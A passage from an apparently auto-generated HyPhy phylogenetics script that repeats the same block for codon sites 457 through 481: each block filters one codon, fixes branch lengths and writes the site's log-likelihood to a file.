assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "457\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 458...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1371,1372,1373", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 458");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "458\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 459...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1374,1375,1376", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 459");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "459\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 460...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1377,1378,1379", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 460");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "460\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 461...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1380,1381,1382", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 461");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "461\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 462...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1383,1384,1385", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 462");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "462\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 463...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1386,1387,1388", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 463");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "463\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 464...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1389,1390,1391", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 464");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "464\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 465...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1392,1393,1394", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 465");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "465\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 466...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1395,1396,1397", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 466");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "466\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 467...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1398,1399,1400", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 467");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "467\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 468...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1401,1402,1403", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 468");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "468\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 469...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1404,1405,1406", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 469");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "469\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 470...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1407,1408,1409", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 470");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "470\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 471...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1410,1411,1412", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 471");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "471\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 472...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1413,1414,1415", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 472");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "472\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 473...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1416,1417,1418", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 473");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "473\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 474...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1419,1420,1421", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 474");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "474\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 475...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1422,1423,1424", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 475");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "475\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 476...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1425,1426,1427", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 476");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "476\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 477...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1428,1429,1430", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 477");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "477\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 478...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1431,1432,1433", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 478");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "478\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 479...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1434,1435,1436", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 479");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "479\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 480...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1437,1438,1439", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 480");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "480\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 481...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1440,1441,1442", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 481");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
